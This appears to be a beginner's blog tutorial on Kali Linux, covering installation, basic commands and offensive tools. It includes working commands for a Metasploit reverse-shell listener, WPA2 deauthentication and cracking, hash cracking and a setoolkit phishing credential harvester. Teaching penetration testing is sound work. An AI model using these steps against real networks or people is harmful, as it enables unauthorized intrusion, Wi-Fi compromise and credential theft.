Wednesday, April 30, 2025

Kali Linux Tutorial – Complete Guide for Beginners

 

Kali Linux Tutorial – Complete Guide for Beginners

1. Introduction to Kali Linux

Kali Linux is a Debian-based Linux distribution designed for penetration testing, ethical hacking, and cybersecurity. It comes pre-installed with 600+ security tools for vulnerability analysis, forensics, and network security.

✅ Who Should Use Kali Linux?
✔ Ethical Hackers
✔ Cybersecurity Professionals
✔ IT Administrators
✔ Bug Bounty Hunters


2. Installing Kali Linux

Option 1: Bare Metal Installation (Direct Install)

  1. Download Kali Linux from kali.org

  2. Create a Bootable USB using:

    • Windows: Rufus

    • Linux/macOS: dd command

      sh
      Copy
      Download
      sudo dd if=kali-linux.iso of=/dev/sdX bs=4M status=progress
  3. Boot from USB and follow the installer.

Option 2: Virtual Machine (Recommended for Beginners)

  • VMware/VirtualBox:

    1. Download Kali Linux VM Image from Offensive Security

    2. Import into VMware Workstation or VirtualBox.

Option 3: WSL (Windows Subsystem for Linux)

Run Kali Linux inside Windows:

sh
Copy
Download
wsl --install -d kali-linux

3. Kali Linux Basics

Default Credentials

  • Username: kali

  • Password: kali

Update & Upgrade

sh
Copy
Download
sudo apt update && sudo apt full-upgrade -y

Essential Commands

CommandDescription
sudo suSwitch to root
apt install <package>Install software
ifconfig / ip aCheck network interfaces
nmapNetwork scanning
msfconsoleLaunch Metasploit

4. Penetration Testing Tools in Kali Linux

A. Information Gathering

ToolPurpose
NmapNetwork scanning & port discovery
MaltegoOSINT (Open-Source Intelligence)
Recon-ngWeb reconnaissance

Example: Nmap Scan

sh
Copy
Download
nmap -sV 192.168.1.1  # Scan a target IP

B. Vulnerability Analysis

ToolPurpose
NiktoWeb server scanner
OpenVASVulnerability assessment
Burp SuiteWeb app security testing

Example: Nikto Scan

sh
Copy
Download
nikto -h http://example.com

C. Exploitation Tools

ToolPurpose
Metasploit FrameworkExploit development
SQLmapSQL injection attacks
HydraPassword cracking

Example: Metasploit

sh
Copy
Download
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <your-ip>
exploit

D. Password Attacks

ToolPurpose
John the RipperPassword cracking
HashcatGPU-accelerated cracking
CrunchWordlist generator

Example: Crack a Hash with John

sh
Copy
Download
john --format=md5 hashes.txt

E. Wireless Attacks

ToolPurpose
Aircrack-ngWi-Fi cracking
WifiteAutomated Wi-Fi attacks
KismetWireless detection

Example: WPA2 Cracking

sh
Copy
Download
airmon-ng start wlan0
airodump-ng wlan0mon
aireplay-ng --deauth 10 -a <AP-MAC> wlan0mon
aircrack-ng -w rockyou.txt capture.cap

5. Ethical Hacking Example: Phishing Attack (Demo)

Step 1: Set Up a Fake Login Page

sh
Copy
Download
sudo apt install setoolkit
sudo setoolkit
  1. Select Social-Engineering Attacks

  2. Choose Website Attack Vectors

  3. Pick Credential Harvester

Step 2: Send Phishing Email (Optional)

  • Use GoPhish or SocialFish.

Step 3: Monitor Captured Credentials

  • Check logs in /var/www/html/

⚠ Note: Only use this for legal, authorized testing!


6. Kali Linux Customization

Change Default Password

sh
Copy
Download
passwd

Install Additional Tools

sh
Copy
Download
sudo apt install -y metasploit-framework burpsuite wireshark

Enable SSH for Remote Access

sh
Copy
Download
sudo systemctl enable ssh --now

7. Kali Linux Best Practices

✔ Use a VPN for anonymity (e.g., openvpn).
✔ Never use Kali as a daily OS (use a VM instead).
✔ Stay updated (sudo apt update weekly).
✔ Follow legal guidelines (only hack authorized systems).


8. Next Steps

🚀 Try CTF Challenges (HackTheBox, TryHackMe)
🚀 Learn Bash & Python Scripting for automation
🚀 Explore Advanced Exploits (Zero-Days, Buffer Overflows)